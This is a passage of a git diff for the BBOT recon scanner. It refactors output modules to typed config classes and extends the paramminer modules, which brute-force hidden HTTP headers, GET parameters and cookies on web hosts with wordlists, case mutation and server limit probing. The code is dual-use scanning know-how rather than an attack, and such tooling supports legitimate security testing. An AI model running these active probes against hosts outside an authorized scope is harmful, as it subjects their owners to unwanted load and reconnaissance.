+            return False, f"Invalid format {self.text_format!r}; must be 'text' or 'json'"
         self.accept_event_types = [str(s).upper() for s in self.config.get("event_types", [])]
         self.show_event_fields = [str(s) for s in self.config.get("event_fields", [])]
         self.in_scope_only = self.config.get("in_scope_only", False)
         self.accept_dupes = self.config.get("accept_dupes", False)
+        # honor the NO_COLOR convention (https://no-color.org) and skip color when not writing to a terminal
+        self.use_color = sys.stdout.isatty() and not os.environ.get("NO_COLOR", "")
         return True
 
     async def filter_event(self, event):
@@ -40,6 +55,7 @@ async def filter_event(self, event):
     async def handle_event(self, event):
         json_mode = "human" if self.text_format == "text" else "json"
         event_json = event.json(mode=json_mode)
+
         if self.show_event_fields:
             event_json = {k: str(event_json.get(k, "")) for k in self.show_event_fields}
 
@@ -54,16 +70,20 @@ async def handle_text(self, event, event_json):
         else:
             event_str = self.human_event_str(event)
 
-        # log vulnerabilities in vivid colors
-        if event.type == "VULNERABILITY":
-            severity = event.data.get("severity", "INFO")
-            if severity in self.vuln_severity_map:
-                loglevel = self.vuln_severity_map[severity]
-                log_to_stderr(event_str, level=loglevel, logname=False)
-        elif event.type == "FINDING":
-            log_to_stderr(event_str, level="HUGEINFO", logname=False)
+        # color findings: severity picks the hue, confidence dims the brightness
+        if event.type == "FINDING" and isinstance(event.data, dict) and self.use_color:
+            event_str = self._colorize_finding(event_str, event)
 
         print(event_str)
 
+    def _colorize_finding(self, event_str, event):
+        severity = str(event.data.get("severity", "INFO")).upper()
+        confidence = str(event.data.get("confidence", "UNKNOWN")).upper()
+        r, g, b = event.severity_colors_rgb.get(severity, event.severity_colors_rgb["INFO"])
+        mult = event.confidence_brightness.get(confidence, event.confidence_brightness["UNKNOWN"])
+        r, g, b = int(r * mult), int(g * mult), int(b * mult)
+        bold = "1;" if confidence == "CONFIRMED" else ""
+        return f"\033[{bold}38;2;{r};{g};{b}m{event_str}\033[0m"
+
     async def handle_json(self, event, event_json):
         print(json.dumps(event_json))
diff --git a/bbot/modules/output/subdomains.py b/bbot/modules/output/subdomains.py
index 6c2bfb0b02..64db0f37f1 100644
--- a/bbot/modules/output/subdomains.py
+++ b/bbot/modules/output/subdomains.py
@@ -1,17 +1,21 @@
 from bbot.modules.output.txt import TXT
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class Subdomains(TXT):
     watched_events = ["DNS_NAME", "DNS_NAME_UNRESOLVED"]
-    flags = ["subdomain-enum"]
+    flags = ["safe", "subdomain-enum"]
     meta = {
         "description": "Output only resolved, in-scope subdomains",
         "created_date": "2023-07-31",
         "author": "@TheTechromancer",
     }
-    options = {"output_file": "", "include_unresolved": False}
-    options_desc = {"output_file": "Output to file", "include_unresolved": "Include unresolved subdomains in output"}
+
+    class Config(BaseModuleConfig):
+        output_file: str = Field("", description="Output to file")
+        include_unresolved: bool = Field(False, description="Include unresolved subdomains in output")
+
     accept_dupes = False
     in_scope_only = True
 
@@ -33,7 +37,7 @@ def _scope_distance_check(self, event):
     async def handle_event(self, event):
         if self.file is not None:
             self.subdomains_written += 1
-            self.file.write(f"{event.data}\n")
+            self.file.write(f"{event.pretty_string}\n")
             self.file.flush()
 
     async def report(self):
diff --git a/bbot/modules/output/teams.py b/bbot/modules/output/teams.py
index c9a7cf1820..4954bea293 100644
--- a/bbot/modules/output/teams.py
+++ b/bbot/modules/output/teams.py
@@ -1,4 +1,5 @@
 from bbot.modules.templates.webhook import WebhookOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class Teams(WebhookOutputModule):
@@ -8,13 +9,12 @@ class Teams(WebhookOutputModule):
         "created_date": "2023-08-14",
         "author": "@TheTechromancer",
     }
-    options = {"webhook_url": "", "event_types": ["VULNERABILITY", "FINDING"], "min_severity": "LOW", "retries": 10}
-    options_desc = {
-        "webhook_url": "Teams webhook URL",
-        "event_types": "Types of events to send",
-        "min_severity": "Only allow VULNERABILITY events of this severity or higher",
-        "retries": "Number of times to retry sending the message before skipping the event",
-    }
+
+    class Config(BaseModuleConfig):
+        webhook_url: str = Field("", description="Teams webhook URL", sensitive=True)
+        event_types: list[str] = Field(["FINDING"], description="Types of events to send")
+        min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher")
+        retries: int = Field(10, description="Number of times to retry sending the message before skipping the event")
 
     async def handle_event(self, event):
         data = self.format_message(event)
@@ -45,18 +45,10 @@ def format_message_other(self, event):
         return items
 
     def get_severity_color(self, event):
-        color = "Accent"
-        if event.type == "VULNERABILITY":
+        if event.type == "FINDING":
             severity = event.data.get("severity", "INFO")
-            if severity == "CRITICAL":
-                color = "Attention"
-            elif severity == "HIGH":
-                color = "Attention"
-            elif severity == "MEDIUM":
-                color = "Warning"
-            elif severity == "LOW":
-                color = "Good"
-        return color
+            return event.severity_card_colors.get(severity, "Accent")
+        return "Accent"
 
     def format_message(self, event):
         adaptive_card = {
@@ -78,7 +70,7 @@ def format_message(self, event):
         heading = {"type": "TextBlock", "text": f"{event.type}", "wrap": True, "size": "Large", "style": "heading"}
         body = adaptive_card["attachments"][0]["content"]["body"]
         body.append(heading)
-        if event.type in ("VULNERABILITY", "FINDING"):
+        if event.type == "FINDING":
             subheading = {
                 "type": "TextBlock",
                 "text": event.data.get("severity", "INFO"),
diff --git a/bbot/modules/output/txt.py b/bbot/modules/output/txt.py
index 2dfb14c106..02adefc895 100644
--- a/bbot/modules/output/txt.py
+++ b/bbot/modules/output/txt.py
@@ -1,13 +1,15 @@
 from contextlib import suppress
 
 from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class TXT(BaseOutputModule):
     watched_events = ["*"]
     meta = {"description": "Output to text", "created_date": "2024-04-03", "author": "@TheTechromancer"}
-    options = {"output_file": ""}
-    options_desc = {"output_file": "Output to file"}
+
+    class Config(BaseModuleConfig):
+        output_file: str = Field("", description="Output to file")
 
     output_filename = "output.txt"
 
diff --git a/bbot/modules/output/web_parameters.py b/bbot/modules/output/web_parameters.py
index 634a623720..041f0ae29d 100644
--- a/bbot/modules/output/web_parameters.py
+++ b/bbot/modules/output/web_parameters.py
@@ -2,6 +2,7 @@
 from collections import defaultdict
 
 from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class Web_parameters(BaseOutputModule):
@@ -11,11 +12,10 @@ class Web_parameters(BaseOutputModule):
         "created_date": "2025-01-25",
         "author": "@liquidsec",
     }
-    options = {"output_file": "", "include_count": False}
-    options_desc = {
-        "output_file": "Output to file",
-        "include_count": "Include the count of each parameter in the output",
-    }
+
+    class Config(BaseModuleConfig):
+        output_file: str = Field("", description="Output to file")
+        include_count: bool = Field(False, description="Include the count of each parameter in the output")
 
     output_filename = "web_parameters.txt"
 
diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py
index 92ff98289f..8ea52b88ea 100644
--- a/bbot/modules/output/web_report.py
+++ b/bbot/modules/output/web_report.py
@@ -1,20 +1,24 @@
 from bbot.modules.output.base import BaseOutputModule
 import markdown
 import html
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class web_report(BaseOutputModule):
-    watched_events = ["URL", "TECHNOLOGY", "FINDING", "VULNERABILITY", "VHOST"]
+    watched_events = ["URL", "TECHNOLOGY", "FINDING"]
     meta = {
         "description": "Create a markdown report with web assets",
         "created_date": "2023-02-08",
         "author": "@liquidsec",
     }
-    options = {
-        "output_file": "",
-        "css_theme_file": "https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css",
-    }
-    options_desc = {"output_file": "Output to file", "css_theme_file": "CSS theme URL for HTML output"}
+
+    class Config(BaseModuleConfig):
+        output_file: str = Field("", description="Output to file")
+        css_theme_file: str = Field(
+            "https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css",
+            description="CSS theme URL for HTML output",
+        )
+
     deps_pip = ["markdown~=3.4.3"]
 
     async def setup(self):
@@ -57,7 +61,7 @@ async def handle_event(self, event):
                 + f" ({event.module})---> "
                 + f"[{event.type}]:{html.escape(event.pretty_string)}"
             )
-            self.web_assets[host]["URL"].append(f"**{html.escape(event.data)}**: {parent_chain_text}")
+            self.web_assets[host]["URL"].append(f"**{html.escape(event.pretty_string)}**: {parent_chain_text}")
 
         else:
             current_parent = event.parent
@@ -89,7 +93,7 @@ async def report(self):
                     if e in dedupe:
                         continue
                     dedupe.append(e)
-                    self.markdown += f"\n* {e}\n"
+                    self.markdown += f"* {e}\n"
                 self.markdown += "\n"
 
         if self.file is not None:
diff --git a/bbot/modules/output/http.py b/bbot/modules/output/webhook.py
similarity index 65%
rename from bbot/modules/output/http.py
rename to bbot/modules/output/webhook.py
index 9d9241da0b..8d5d9f21f5 100644
--- a/bbot/modules/output/http.py
+++ b/bbot/modules/output/webhook.py
@@ -1,38 +1,30 @@
+from bbot.models.pydantic import Event
 from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
-class HTTP(BaseOutputModule):
+class webhook(BaseOutputModule):
     watched_events = ["*"]
     meta = {
-        "description": "Send every event to a custom URL via a web request",
+        "description": "Send every event to a custom URL via a webhook",
         "created_date": "2022-04-13",
         "author": "@TheTechromancer",
     }
-    options = {
-        "url": "",
-        "method": "POST",
-        "bearer": "",
-        "username": "",
-        "password": "",
-        "timeout": 10,
-        "siem_friendly": False,
-    }
-    options_desc = {
-        "url": "Web URL",
-        "method": "HTTP method",
-        "bearer": "Authorization Bearer token",
-        "username": "Username (basic auth)",
-        "password": "Password (basic auth)",
-        "timeout": "HTTP timeout",
-        "siem_friendly": "Format JSON in a SIEM-friendly way for ingestion into Elastic, Splunk, etc.",
-    }
+
+    class Config(BaseModuleConfig):
+        url: str = Field("", description="Web URL")
+        method: str = Field("POST", description="HTTP method")
+        bearer: str = Field("", description="Authorization Bearer token", sensitive=True)
+        username: str = Field("", description="Username (basic auth)")
+        password: str = Field("", description="Password (basic auth)", sensitive=True)
+        headers: dict = Field({}, description="Additional headers to send with the request", sensitive=True)
+        timeout: int = Field(10, description="HTTP timeout")
 
     async def setup(self):
         self.url = self.config.get("url", "")
         self.method = self.config.get("method", "POST")
         self.timeout = self.config.get("timeout", 10)
-        self.siem_friendly = self.config.get("siem_friendly", False)
-        self.headers = {}
+        self.headers = dict(self.config.get("headers") or {})
         bearer = self.config.get("bearer", "")
         if bearer:
             self.headers["Authorization"] = f"Bearer {bearer}"
@@ -51,12 +43,15 @@ async def setup(self):
 
     async def handle_event(self, event):
         while 1:
+            event_json = event.json()
+            event_pydantic = Event(**event_json)
+            event_json = event_pydantic.model_dump(exclude_none=True)
             response = await self.helpers.request(
                 url=self.url,
                 method=self.method,
                 auth=self.auth,
                 headers=self.headers,
-                json=event.json(siem_friendly=self.siem_friendly),
+                json=event_json,
             )
             is_success = False if response is None else response.is_success
             if not is_success:
diff --git a/bbot/modules/output/websocket.py b/bbot/modules/output/websocket.py
index 13ff355014..8671d5bd0d 100644
--- a/bbot/modules/output/websocket.py
+++ b/bbot/modules/output/websocket.py
@@ -4,18 +4,22 @@
 import websockets
 
 from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class Websocket(BaseOutputModule):
     watched_events = ["*"]
     meta = {"description": "Output to websockets", "created_date": "2022-04-15", "author": "@TheTechromancer"}
-    options = {"url": "", "token": "", "preserve_graph": True, "ignore_ssl": False}
-    options_desc = {
-        "url": "Web URL",
-        "token": "Authorization Bearer token",
-        "preserve_graph": "Preserve full chains of events in the graph (prevents orphans)",
-        "ignore_ssl": "Ignores all Websocket SSL related errors (like Self-Signed Certificates, etc.)",
-    }
+
+    class Config(BaseModuleConfig):
+        url: str = Field("", description="Web URL", sensitive=True)
+        token: str = Field("", description="Authorization Bearer token", sensitive=True)
+        preserve_graph: bool = Field(
+            True, description="Preserve full chains of events in the graph (prevents orphans)"
+        )
+        ignore_ssl: bool = Field(
+            False, description="Ignores all Websocket SSL related errors (like Self-Signed Certificates, etc.)"
+        )
 
     async def setup(self):
         self.url = self.config.get("url", "")
diff --git a/bbot/modules/output/zeromq.py b/bbot/modules/output/zeromq.py
new file mode 100644
index 0000000000..17c7bc4da6
--- /dev/null
+++ b/bbot/modules/output/zeromq.py
@@ -0,0 +1,46 @@
+import zmq
+import json
+
+from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class ZeroMQ(BaseOutputModule):
+    watched_events = ["*"]
+    meta = {
+        "description": "Output scan data to a ZeroMQ socket (PUB)",
+        "created_date": "2024-11-22",
+        "author": "@TheTechromancer",
+    }
+
+    class Config(BaseModuleConfig):
+        zmq_address: str = Field(
+            "", description="The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555)"
+        )
+
+    async def setup(self):
+        self.zmq_address = self.config.get("zmq_address", "")
+        if not self.zmq_address:
+            return False, "ZeroMQ address is required"
+        self.context = zmq.asyncio.Context()
+        self.socket = self.context.socket(zmq.PUB)
+        self.socket.bind(self.zmq_address)
+        self.verbose("ZeroMQ publisher socket bound successfully")
+        return True
+
+    async def handle_event(self, event):
+        event_json = event.json()
+        event_data = json.dumps(event_json).encode("utf-8")
+        while 1:
+            try:
+                await self.socket.send(event_data)
+                break
+            except Exception as e:
+                self.warning(f"Error sending event to ZeroMQ: {e}, retrying...")
+                await self.helpers.sleep(1)
+
+    async def cleanup(self):
+        # Close the socket
+        self.socket.close()
+        self.context.term()
+        self.verbose("ZeroMQ publisher socket closed successfully")
diff --git a/bbot/modules/paramminer_cookies.py b/bbot/modules/paramminer_cookies.py
index a3b4619d45..4c4db8dc0d 100644
--- a/bbot/modules/paramminer_cookies.py
+++ b/bbot/modules/paramminer_cookies.py
@@ -1,4 +1,7 @@
+from typing import Union
+
 from .paramminer_headers import paramminer_headers
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class paramminer_cookies(paramminer_headers):
@@ -8,40 +11,35 @@ class paramminer_cookies(paramminer_headers):
 
     watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"]
     produced_events = ["WEB_PARAMETER"]
-    produced_events = ["FINDING"]
-    flags = ["active", "aggressive", "slow", "web-paramminer"]
+    flags = ["active", "loud", "slow", "web-paramminer"]
     meta = {
         "description": "Smart brute-force to check for common HTTP cookie parameters",
         "created_date": "2022-06-27",
         "author": "@liquidsec",
     }
-    options = {
-        "wordlist": "",  # default is defined within setup function
-        "recycle_words": False,
-        "skip_boring_words": True,
-    }
-    options_desc = {
-        "wordlist": "Define the wordlist to be used to derive headers",
-        "recycle_words": "Attempt to use words found during the scan on all other endpoints",
-        "skip_boring_words": "Remove commonly uninteresting words from the wordlist",
-    }
-    options_desc = {"wordlist": "Define the wordlist to be used to derive cookies"}
+
+    class Config(BaseModuleConfig):
+        wordlist: Union[str, list[str]] = Field(
+            "",
+            description="Define the wordlist to be used to derive cookies. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).",
+        )
+        recycle_words: bool = Field(
+            False, description="Attempt to use words found during the scan on all other endpoints"
+        )
+        skip_boring_words: bool = Field(True, description="Remove commonly uninteresting words from the wordlist")
+
     scanned_hosts = []
-    boring_words = set()
-    _module_threads = 12
+    _module_threads = 4
     in_scope_only = True
     compare_mode = "cookie"
-    default_wordlist = "paramminer_parameters.txt"
+    default_wordlist = "paramminer_cookies.txt"
 
     async def check_batch(self, compare_helper, url, cookie_list):
         cookies = {p: self.rand_string(14) for p in cookie_list}
         return await compare_helper.compare(url, cookies=cookies, check_reflection=(len(cookie_list) == 1))
 
-    def gen_count_args(self, url):
-        cookie_count = 40
-        while 1:
-            if cookie_count < 0:
-                break
-            fake_cookies = {self.rand_string(14): self.rand_string(14) for _ in range(0, cookie_count)}
-            yield cookie_count, (url,), {"cookies": fake_cookies}
-            cookie_count -= 5
+    max_count = 40
+
+    def build_count_test_request(self, url, count):
+        fake_cookies = {self.rand_string(14): self.rand_string(14) for _ in range(count)}
+        return (url,), {"cookies": fake_cookies}
diff --git a/bbot/modules/paramminer_getparams.py b/bbot/modules/paramminer_getparams.py
index e6f35f6235..54ca00a602 100644
--- a/bbot/modules/paramminer_getparams.py
+++ b/bbot/modules/paramminer_getparams.py
@@ -1,4 +1,11 @@
-from .paramminer_headers import paramminer_headers
+import itertools
+import string
+from typing import Union
+from urllib.parse import urlparse
+
+
+from .paramminer_headers import paramminer_headers, _mutate_case
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class paramminer_getparams(paramminer_headers):
@@ -8,40 +15,78 @@ class paramminer_getparams(paramminer_headers):
 
     watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"]
     produced_events = ["WEB_PARAMETER"]
-    produced_events = ["FINDING"]
-    flags = ["active", "aggressive", "slow", "web-paramminer"]
+    flags = ["active", "loud", "slow", "web-paramminer"]
     meta = {
         "description": "Use smart brute-force to check for common HTTP GET parameters",
         "created_date": "2022-06-28",
         "author": "@liquidsec",
     }
     scanned_hosts = []
-    options = {
-        "wordlist": "",  # default is defined within setup function
-        "recycle_words": False,
-        "skip_boring_words": True,
-    }
-    options_desc = {
-        "wordlist": "Define the wordlist to be used to derive headers",
-        "recycle_words": "Attempt to use words found during the scan on all other endpoints",
-        "skip_boring_words": "Remove commonly uninteresting words from the wordlist",
-    }
+
+    class Config(BaseModuleConfig):
+        wordlist: Union[str, list[str]] = Field(
+            "",
+            description="Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).",
+        )
+        recycle_words: bool = Field(
+            False, description="Attempt to use words found during the scan on all other endpoints"
+        )
+        skip_boring_words: bool = Field(True, description="Remove commonly uninteresting words from the wordlist")
+        mutate_case: bool = Field(
+            False,
+            description=(
+                "Also test case-mutated variants of each entry "
+                "(camelCase for snake_case/kebab-case, Title case for single words). "
+                "Skipped on URLs with case-insensitive backend extensions like .aspx/.cfm."
+            ),
+        )
+        brute_short: bool = Field(
+            False,
+            description=(
+                "Generate every 1-, 2-, and 3-letter [a-z] combination and add to the wordlist. "
+                "Costs ~18,278 extra requests per host; opt-in for thorough scans."
+            ),
+        )
+
     boring_words = {"utm_source", "utm_campaign", "utm_medium", "utm_term", "utm_content"}
     in_scope_only = True
     compare_mode = "getparam"
     default_wordlist = "paramminer_parameters.txt"
 
+    async def setup(self):
+        result = await super().setup()
+        if self.config.get("brute_short", False):
+            chars = string.ascii_lowercase
+            extra = set()
+            for length in (1, 2, 3):
+                extra |= {"".join(c) for c in itertools.product(chars, repeat=length)}
+            # respect global blacklist + boring words on generated combos
+            extra -= self.boring_words
+            extra -= self.global_blacklist
+            if self.global_blacklist_prefixes:
+                extra = {w for w in extra if not w.startswith(self.global_blacklist_prefixes)}
+            self.wl |= extra
+            self.debug(f"brute_short: added {len(extra)} 1-3 letter combinations")
+        return result
+
+    def _mutate_for_url(self, url, words):
+        if not self.config.get("mutate_case", False):
+            return words
+        path = urlparse(url).path.lower()
+        for ext in self.case_insensitive_extensions:
+            if path.endswith(ext):
+                return words
+        mutations = {m for m in (_mutate_case(w) for w in words) if m}
+        return words | mutations
+
     async def check_batch(self, compare_helper, url, getparam_list):
         test_getparams = {p: self.rand_string(14) for p in getparam_list}
         return await compare_helper.compare(
             self.helpers.add_get_params(url, test_getparams).geturl(), check_reflection=(len(getparam_list) == 1)
         )
 
-    def gen_count_args(self, url):
-        getparam_count = 40
-        while 1:
-            if getparam_count < 0:
-                break
-            fake_getparams = {self.rand_string(14): self.rand_string(14) for _ in range(0, getparam_count)}
-            yield getparam_count, (self.helpers.add_get_params(url, fake_getparams).geturl(),), {}
-            getparam_count -= 5
+    max_count = 40
+
+    def build_count_test_request(self, url, count):
+        fake_getparams = {self.rand_string(14): self.rand_string(14) for _ in range(count)}
+        return (self.helpers.add_get_params(url, fake_getparams).geturl(),), {}
diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py
index d3cbeb0661..58ffbe946f 100644
--- a/bbot/modules/paramminer_headers.py
+++ b/bbot/modules/paramminer_headers.py
@@ -1,7 +1,31 @@
 import re
+from typing import Union
 
 from bbot.errors import HttpCompareError
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
+
+_case_split = re.compile(r"[-_]+")
+
+
+def _mutate_case(word):
+    """
+    Multi-word (snake_case/kebab-case) → camelCase: ``user_id`` → ``userId``.
+    Single word → Title case: ``admin`` → ``Admin``.
+    Returns None if no useful mutation exists.
+    """
+    parts = _case_split.split(word)
+    if len(parts) >= 2:
+        head = parts[0]
+        tail = "".join(p[:1].upper() + p[1:] for p in parts[1:] if p)
+        if not tail:
+            return None
+        result = head + tail
+    else:
+        if not word or not word[0].islower():
+            return None
+        result = word[:1].upper() + word[1:]
+    return result if result != word else None
 
 
 class paramminer_headers(BaseModule):
@@ -11,21 +35,37 @@ class paramminer_headers(BaseModule):
 
     watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"]
     produced_events = ["WEB_PARAMETER"]
-    flags = ["active", "aggressive", "slow", "web-paramminer"]
+    flags = ["active", "loud", "slow", "web-paramminer"]
     meta = {
         "description": "Use smart brute-force to check for common HTTP header parameters",
         "created_date": "2022-04-15",
         "author": "@liquidsec",
     }
-    options = {
-        "wordlist": "",  # default is defined within setup function
-        "recycle_words": False,
-        "skip_boring_words": True,
-    }
-    options_desc = {
-        "wordlist": "Define the wordlist to be used to derive headers",
-        "recycle_words": "Attempt to use words found during the scan on all other endpoints",
-        "skip_boring_words": "Remove commonly uninteresting words from the wordlist",
+
+    class Config(BaseModuleConfig):
+        wordlist: Union[str, list[str]] = Field(
+            "",
+            description="Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).",
+        )
+        recycle_words: bool = Field(
+            False, description="Attempt to use words found during the scan on all other endpoints"
+        )
+        skip_boring_words: bool = Field(True, description="Remove commonly uninteresting words from the wordlist")
+
+    # URLs ending with these extensions are known to be case-insensitive — skip case mutation.
+    # (Used by paramminer_getparams and paramminer_cookies; HTTP headers are inherently
+    # case-insensitive per RFC 7230 so this isn't relevant to paramminer_headers itself.)
+    case_insensitive_extensions = {
+        ".aspx",
+        ".ashx",
+        ".ascx",
+        ".asmx",
+        ".axd",
+        ".cshtml",
+        ".vbhtml",
+        ".razor",
+        ".cfm",
+        ".cfc",
     }
     scanned_hosts = []
     boring_words = {
@@ -75,7 +115,7 @@ class paramminer_headers(BaseModule):
         "zx-request-id",
         "zx-timer",
     }
-    _module_threads = 12
+    _module_threads = 4
     in_scope_only = True
     compare_mode = "header"
     default_wordlist = "paramminer_headers.txt"
@@ -93,7 +133,13 @@ async def setup_deps(self):
     async def setup(self):
         self.recycle_words = self.config.get("recycle_words", True)
         self.event_dict = {}
-        self.already_checked = set()
+        self.already_checked = {}
+
+        # global parameter blacklist (shared with excavate) — known framework/CDN/tracker names
+        self.global_blacklist = {p.lower() for p in self.scan.config.get("parameter_blacklist", [])}
+        self.global_blacklist_prefixes = tuple(
+            p.lower() for p in self.scan.config.get("parameter_blacklist_prefixes", [])
+        )
 
         self.wl = {
             h.strip().lower() for h in self.helpers.read_file(self.wordlist_file) if len(h) > 0 and "%" not in h
@@ -102,18 +148,27 @@ async def setup(self):
         # check against the boring list (if the option is set)
         if self.config.get("skip_boring_words", True):
             self.wl -= self.boring_words
+            self.wl -= self.global_blacklist
+            if self.global_blacklist_prefixes:
+                self.wl = {w for w in self.wl if not w.startswith(self.global_blacklist_prefixes)}
+
         self.extracted_words_master = set()
 
         return True
 
+    def _mutate_for_url(self, url, words):
+        """Hook for subclasses to expand a word set with URL-aware mutations
+        (e.g. paramminer_getparams adds case mutations on case-sensitive backends)."""
+        return words
+
     def rand_string(self, *args, **kwargs):
         return self.helpers.rand_string(*args, **kwargs)
 
     async def do_mining(self, wl, url, batch_size, compare_helper):
+        url_checked = self.already_checked.setdefault(url, set())
         for i in wl:
             if i not in self.wl:
-                h = hash(i + url)
-                self.already_checked.add(h)
+                url_checked.add(hash(i))
 
         results = set()
         abort_threshold = 15
@@ -132,7 +187,7 @@ async def do_mining(self, wl, url, batch_size, compare_helper):
         return results
 
     async def process_results(self, event, results):
-        url = event.data.get("url")
+        url = event.url
         for result, reasons, reflection in results:
             paramtype = self.compare_mode.upper()
             if paramtype == "HEADER":
@@ -166,14 +221,19 @@ async def handle_event(self, event):
         if event.type == "WEB_PARAMETER":
             parameter_name = event.data.get("name")
             if self.recycle_words or (event.data.get("type") == "SPECULATIVE"):
-                if self.config.get("skip_boring_words", True) and parameter_name in self.boring_words:
-                    return
+                if self.config.get("skip_boring_words", True):
+                    if parameter_name in self.boring_words:
+                        return
+                    lower_name = parameter_name.lower()
+                    if lower_name in self.global_blacklist:
+                        return
+                    if self.global_blacklist_prefixes and lower_name.startswith(self.global_blacklist_prefixes):
+                        return
                 if parameter_name not in self.wl:  # Ensure it's not already in the wordlist
-                    self.debug(f"Adding {parameter_name} to wordlist")
                     self.extracted_words_master.add(parameter_name)
 
         elif event.type == "HTTP_RESPONSE":
-            url = event.data.get("url")
+            url = event.url
             try:
                 compare_helper = self.helpers.http_compare(url)
             except HttpCompareError as e:
@@ -194,37 +254,45 @@ async def handle_event(self, event):
                 return
 
             try:
-                results = await self.do_mining(self.wl, url, batch_size, compare_helper)
+                results = await self.do_mining(self._mutate_for_url(url, self.wl), url, batch_size, compare_helper)
             except HttpCompareError as e:
-                self.debug(f"Encountered HttpCompareError: [{e}] for URL [{event.data}]")
+                self.debug(f"Encountered HttpCompareError: [{e}] for URL [{event.url}]")
             await self.process_results(event, results)
 
+    max_count = 95
+
     async def count_test(self, url):
         baseline = await self.helpers.request(url)
         if baseline is None:
             return
         if str(baseline.status_code)[0] in {"4", "5"}:
             return
-        for count, args, kwargs in self.gen_count_args(url):
+
+        # Binary search for the maximum count the server accepts
+        lo, hi = 0, self.max_count
+        result = None
+        while lo <= hi:
+            mid = (lo + hi) // 2
+            if mid == 0:
+                break
+            args, kwargs = self.build_count_test_request(url, mid)
             r = await self.helpers.request(*args, **kwargs)
             if r is not None and str(r.status_code)[0] not in {"4", "5"}:
-                return count
+                result = mid
+                lo = mid + 1
+            else:
+                hi = mid - 1
+        return result
 
-    def gen_count_args(self, url):
-        header_count = 95
-        while 1:
-            if header_count < 0:
-                break
-            fake_headers = {}
-            for i in range(0, header_count):
-                fake_headers[self.rand_string(14)] = self.rand_string(14)
-            yield header_count, (url,), {"headers": fake_headers}
-            header_count -= 5
+    def build_count_test_request(self, url, count):
+        """Build a test request with `count` fake parameters. Returns (args, kwargs) for helpers.request()."""
+        fake_headers = {self.rand_string(14): self.rand_string(14) for _ in range(count)}
+        return (url,), {"headers": fake_headers}
 
     async def binary_search(self, compare_helper, url, group, reasons=None, reflection=False):
         if reasons is None:
             reasons = []
-        self.debug(f"Entering recursive binary_search with {len(group):,} sized group")
+            self.debug(f"Entering binary_search with {len(group):,} sized group for URL [{url}]")
         if len(group) == 1 and len(reasons) > 0:
             yield group[0], reasons, reflection
         elif len(group) > 1 or (len(group) == 1 and len(reasons) == 0):
@@ -233,10 +301,6 @@ async def binary_search(self, compare_helper, url, group, reasons=None, reflecti
                 if match is False:
                     async for r in self.binary_search(compare_helper, url, group_slice, reasons, reflection):
                         yield r
-        else:
-            self.debug(
-                f"binary_search() failed to start with group of size {str(len(group))} and {str(len(reasons))} length reasons"
-            )
 
     async def check_batch(self, compare_helper, url, header_list):
         rand = self.rand_string()
@@ -252,8 +316,9 @@ async def finish(self):
             except HttpCompareError as e:
                 self.debug(f"Error initializing compare helper: {e}")
                 continue
+            url_checked = self.already_checked.get(url, set())
             words_to_process = {
-                i for i in self.extracted_words_master.copy() if hash(i + url) not in self.already_checked
+                i for i in self._mutate_for_url(url, self.extracted_words_master) if hash(i) not in url_checked
             }
             try:
                 results = await self.do_mining(words_to_process, url, batch_size, compare_helper)
@@ -261,10 +326,30 @@ async def finish(self):
                 self.debug(f"Encountered HttpCompareError: [{e}] for URL [{url}]")
                 continue
             await self.process_results(event, results)
+            self.already_checked.pop(url, None)
+
+    def _incoming_dedup_hash(self, event):
+        # dedup by endpoint structure, not full URL string -- value mutations
+        # of the same parameter set (e.g. from lightfuzz probes) are one test surface
+        p = getattr(event, "parsed_url", None)
+        if p is None:
+            return hash(event), ""
+        if event.type == "WEB_PARAMETER":
+            name = event.data.get("name", "")
+            additional_params = event.data.get("additional_params") or {}
+            param_keys = tuple(sorted(additional_params.keys()))
+        else:
+            name = ""
+            param_keys = ()
+        return hash((event.type, p.scheme, p.netloc, p.path, name, param_keys)), "per_endpoint+keys"
 
     async def filter_event(self, event):
+        if await self._is_http_wildcard_host(event) is True:
+            return False, "host is an HTTP wildcard responder"
+
         # Filter out static endpoints
-        if event.data.get("url").endswith(tuple(f".{ext}" for ext in self.config.get("url_extension_static", []))):
+        ext = getattr(event, "url_extension", None)
+        if ext and ext in self.scan.config.get("url_extension_static", []):
             return False
 
         # We don't need to look at WEB_PARAMETERS that we produced
diff --git a/bbot/modules/pgp.py b/bbot/modules/pgp.py
index 0c53c2ad42..2a4f3f1da9 100644
--- a/bbot/modules/pgp.py
+++ b/bbot/modules/pgp.py
@@ -1,25 +1,27 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class pgp(subdomain_enum):
     watched_events = ["DNS_NAME"]
     produced_events = ["EMAIL_ADDRESS"]
-    flags = ["passive", "email-enum", "safe"]
+    flags = ["safe", "passive", "email-enum"]
     meta = {
         "description": "Query common PGP servers for email addresses",
         "created_date": "2022-08-10",
         "author": "@TheTechromancer",
     }
-    # TODO: scan for Web Key Directory (/.well-known/openpgpkey/)
-    options = {
-        "search_urls": [
